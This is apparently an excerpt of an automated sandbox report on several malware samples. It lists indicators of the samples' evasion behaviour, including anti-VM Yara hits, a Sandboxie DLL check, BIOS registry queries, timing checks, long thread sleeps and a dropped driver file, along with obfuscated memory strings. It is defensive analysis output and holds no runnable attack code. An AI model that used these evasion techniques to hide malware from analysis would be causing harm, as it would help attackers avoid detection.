Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: fOzLadrzZNRnwv2woTdiFoXM.exe PID: 4304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6UF1Jcwj34zqEggktO7mg1WS.exe PID: 364, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Memory allocated: 14C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Memory allocated: 31E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Memory allocated: 51E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Memory allocated: 1A30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Memory allocated: 3610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Memory allocated: 1A30000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe

Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion

Jump to behavior

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

Code function: 5_2_0216C71C rdtsc

5_2_0216C71C

Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 864
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 658

Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe

Dropped PE file which has not been started: C:\Windows\Temp\hbxzipnhyvsr.sys

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe

API coverage: 8.3 %

Source: C:\Users\user\Desktop\3QKcKCEzYP.exe TID: 2304	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe TID: 6368	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe TID: 5192	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6484	Thread sleep count: 864 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4032	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1540	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3960	Thread sleep count: 658 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3924	Thread sleep count: 89 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4344	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\SysWOW64\cmd.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

Code function: 5_2_004A4C54 GetSystemTimes followed by cmp: cmp dword ptr [004b6d24h], 0ah and CTI: jne 004A4E49h

5_2_004A4C54

Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_0040553A FindFirstFileA,		6_2_0040553A
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Code function: 6_2_004055DE __EH_prolog,FindFirstFileW,AreFileApisANSI,FindFirstFileA,		6_2_004055DE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 11_2_00401160 GetSystemInfo,

11_2_00401160

Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\__data__\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: 3QKcKCEzYP.exe, 00000000.00000003.2291762501.0000024045D60000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2286269796.000002404520D000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2282375599.00000240450F8000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2297572331.00000240461FB000.00000004.00000020.00020000.00000000.sdmp, fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000000.2361070398.0000000000BF9000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: XwlmlV.ISLDfs)AMCPVDMCAHIGZHVDRKAJ1OTKAGMVDRMGQQSEABSOMUXSIGYDDJEMSWBIUXPIRABZXNKTTDNGLIHPMFKCWWCZWWYWTAJHKVLGNNKDUFLFLLUEEZXTKVMVADEJXNKNIgSTDPWPJPGKJAGGVYXGHAEDRTKMYHSCPUHDVQJSIPKKUYUISQJEZiIKKWGKKEQHCJAMXNPERPSATHFQOTMDDUXHAGURADPIHRGERRIBBA-SPODQQXFHLAZPMTABXTEBTCIMZDMMRHFCVZZQYBIQGMGMTRUAPYNNYTJ[PZWZECCLNSPEZNCVAMUPDHUJUVBGIYBALEXNGMWBCUPDEiCOROTUPOPNPTMJSQFRMCLMEWRZSQHTHOAHRALPJOIHHFPQZCOOHNmXODZQKXSCBFPJPFDNDMSJSKCRSMHURBXKPCDCFUXPODSRCYFLFDWKSqYBXWZZRRSIXESJFUMVORQMQRDRTIXUVMRPEZKMPDDWZCSPOMJSSQDKHL1GGKGMCVHIXBPQQSQWSSFMMRU?UWZEKCDOTZNBELKABVTDNRZXLBVVLCD1NLCKNCQUAGEVLLUTAWJZTIHW9HKOVFKJIWVNAQJEDFKQNLCUZSLJCUVAHUJGNOUWWFTZVQCGPJRVJHUAATPKVZZEAZXFKKCFCGUZJAXFPZWSXVFHLPUDSZZHRGCNQGAIYFOJWVHJHNHCYKPIYOURTBZESFXVMXSMAEGOTRLCYSUJVRCLABLMAVEMWMADRWSFOUYTVCAYBRBWXMODSQTCQCQXBMKIUIPJYXLADQOLNSGOYIVYKINNROK]IXKTIZGSYKWQVXCUUZHSRGMWYUANBDKTKEFVQANTWIWIJA;BCQWZOIEDKDFZVDSBHFVXGEILZRGR7QQFYDPZOKYOMCSNPTWTZPDZCLMOQBBHRZYNYPMRDMQBMYOTHJYXMBSXPHRMFVXKMFYVGEPDREQNARJFVTHIKIOFVNQIXCYBNZZKMLZUOWMWJRQPDCHCGFETHCHLKVUJPPROCAMLEJRLFVIP)VWZOEUDARUMNYSMOQBAB3IIRDWBPOLUFSVLRXJVPMWKEITIAQKPYGLMBMUXNEANNEKYINDFWXDZXCJNMUWBuSJOAAPEOTKKCPKQOQJPHPBIXHXGXBQAYEMAYKJUZZIHTETGJPWIPOVJRAQ9ASOXJNHKKVAMLVMFFSLKJQGCZDGLUHBDKRZVBYHFNKHZMRFJQITAMOKMWJKZNMVYPRSLIBBsPZPZUEQFDIPWWEANCXQZEGDPCPWKIDJPMWHXJYIDLEYNWTVARQBTGBTIVQNZIQTJUWSRBPJKCZCICEVGIYOWJVCPMXESOUZEGNGCXAYTDFELQVIZXCPUJTDZEFIYEORWTAHDPCSNKXSRZOOOIRPOEJVTCIRKEFGEDJFMYKCRTPFFQVLD[EGMAYJVDPQXKGEBTDQVMSLGPZCIKNRDHKKLMLRYLDAUNEqFCKQQVNCXDDHOQQPXWTJBKNMVHHRAJBUVJHLPPNAEQOOADCNHQYJEFVUqVLTAHQISUSEOEPFERZUXUYEYVGIUIBVFEMCFTBXCCBHPOHMHCEWFLYDX_MSFMOLTMRFSABGDWIOKUEKICOFROBDAVTSIJKBUBVOTEEQTeVWJDRUEEHBIMMFQOAWEFUNOZHWSDBOUZCKDLZHUNAWOKPLXBNMUSCREXZEKWYRPOSEMGLWDPMYKZTVDGBVZIYDNVRBHDAwNEVAKWFSGZXKPMWECWESTEYLMFPGSBJTAGRZIZTYXZARRGBBNJXTIJGJGJO]YYWBOWSGQNUQCOLFZQIATGSAZSTHNDXRNPWWHFEJLHBUJZ?LSKZGSHGCVUIFMCSQBXZRJTLKMWOVXBeTWEJRUFJOKEPUYYUHOIXNHYCBXHLEGMKMZCWHVCUEVGIKVSEJQaQYFOIHKQXJQSWJIDCMSMPLIKBPLRQQKPWCFCIXDGIBCGBNITeDGUEJLENICINHRYFBICBZZMNKJKOBVGAROPMQKSBQPXNMYMEUT-HEPZWIKBUFICUUEWFFYZRT=KMXAKFQELJUKYITTMPCSOBCXJCTVJMmAYEFTNIRYSEJSGTQYPFTEJVQCXJKLLONHEOSRNUAKQLHMYTPBITALS7CUKJMYJDNGIEBQOGKXLCSCBRRMFEQNZRCPVATDFFZGQQYLVKEQTIMHLJVGVUSU)NZEZTRFUEMFNHKNEADRCuLSWPHRULISUQGLEGFNPBMBSCLKSSIJCKTHIZWERCRHODLRRHGNNCSTMJZT1ATDOEOOBVTECDMHFJHWLCJFN-ESAYIQERDSAMIGJWAVXWINiPJGFOJRVKYOBVXSEMQGRQVRIMZTYDBUAVGYILOQDJANJAJIVEFKH=BSMSGXFDTTNLOZAGDBHJHHTHJIVQASEEJOJERPEBYUGUCFUVFJIZUESPSZZKSIWAQGJFVUMRQTJQYFEDWZOAFEORUVAKOLVGFUOGP=SJULQFCUHMAJCMTZNTIOSYIAMTLRIO-YXTMJGYTUTEQMBEXUTDMRBgJJWSLBUXWKUHPOFZREHHLTYHMFRBXWAZVDDGTQPAAXKKYNZOWFB=BOGHNINIZGDERUHEOUNVEKJQGXJBECoWNXKDROUZMWTCBKZRYMYDMNRVCQRCLXKTKKUSBWJTXSTIUUFYCEPEST[BUMMVIWFFDXVCOHUONANOPFVNSQDRFHEXAPWUDGUIZPQMSZWSXBZLAKGGEOAOJGLUSLMMYJYDHDECCPMPUTJEWZQDVDWFEEOCKUPXHYSGCXZAKRIVMKEPKCKZVBAWIEJCMVADREIOYHAQHZZHVRTKXYZQWLINARJTNqPFUAKMQDSIRVMNBPECWHFYQMVSECURNDVVMQINUNTTEIAKHFYBQZJZSRQLTILLKYESBNUVDVBAJCFGLDOMKQEMUZRBMGXGWTGqMTKWIMIBTPAPLFOOJCFHRDILWWIUMICDNQZQVLROZHJTOFWJJZGASKGJkKGJLSZGRDCD
Source: fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2404193376.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp, fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2396821699.000000000439B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Na-FDVPFEGJKGAQEHEFVIJHGFSSGQMFQMQLVSICVASBOGPAZBHQBHRPEWLVTNYUHUHBCFNCRIAMLOCOHNICAGYIAACNNPTBWDOFBC-YERTRYLDNJJHFIMMCRMTEE_WZMFSHUIUNVVSRXUWDDZOEDLSJHKUZASZUXESCUIXCMMHWHwJOFRWYJQQZEWRIBXNNUPQHPJLFZNPYBSZWSKHIMUCPZFFUXCHPADEOJBYVG5UTHMCPQFPTDGTBZRKRCSVLMUSPgMPTSZAJLIAUBHKTVVKTQCFUNWZDQBBRXDJUTDHCRUDBEOPKDJXMmAMGCOUKYIPEBKNFAKWXETYXNYBKXVMOSCHWDVJDOPEVWOUWUWOTVNNCMMIXAQAPPUAJEJKTEWOUKUGFHXBAOBWJV?SNJJVAHKRFOQSBCIHIAUJQECLOWUJRCSXNXBJGYHDNBADQOWOZWDDDZIMMDSDBIEZOBPYLTGGEHXTONVWVLDHBJVXDATRBCDZUFRCHSQFKUFQJHYGOKLBTYPWBFEEEJXJBIXZAWADRRZQNGJLESOQGIJBYZIUVTZMUGKUHHVXDRYFLOEDUJAGNVGQwKGOIDUYVGVWGGMRAXYJGKTPMYFXDCZQTQKAFRAKCNDGZFROHYTUODYPRRBJ?QQFJECPRVJNPQMFSKYUBASVMKWAXEID_SZUXRKOKBZJYQFCUDUJBHJTANUPFWEBEEBXWSXEJDUOELHHIVTZKSXFAMWLKUKDZPJOQQUGCVELDAYYNTLRZ[BJRQRRHXADBJBFVARQNHKUSWAOQWGWPXV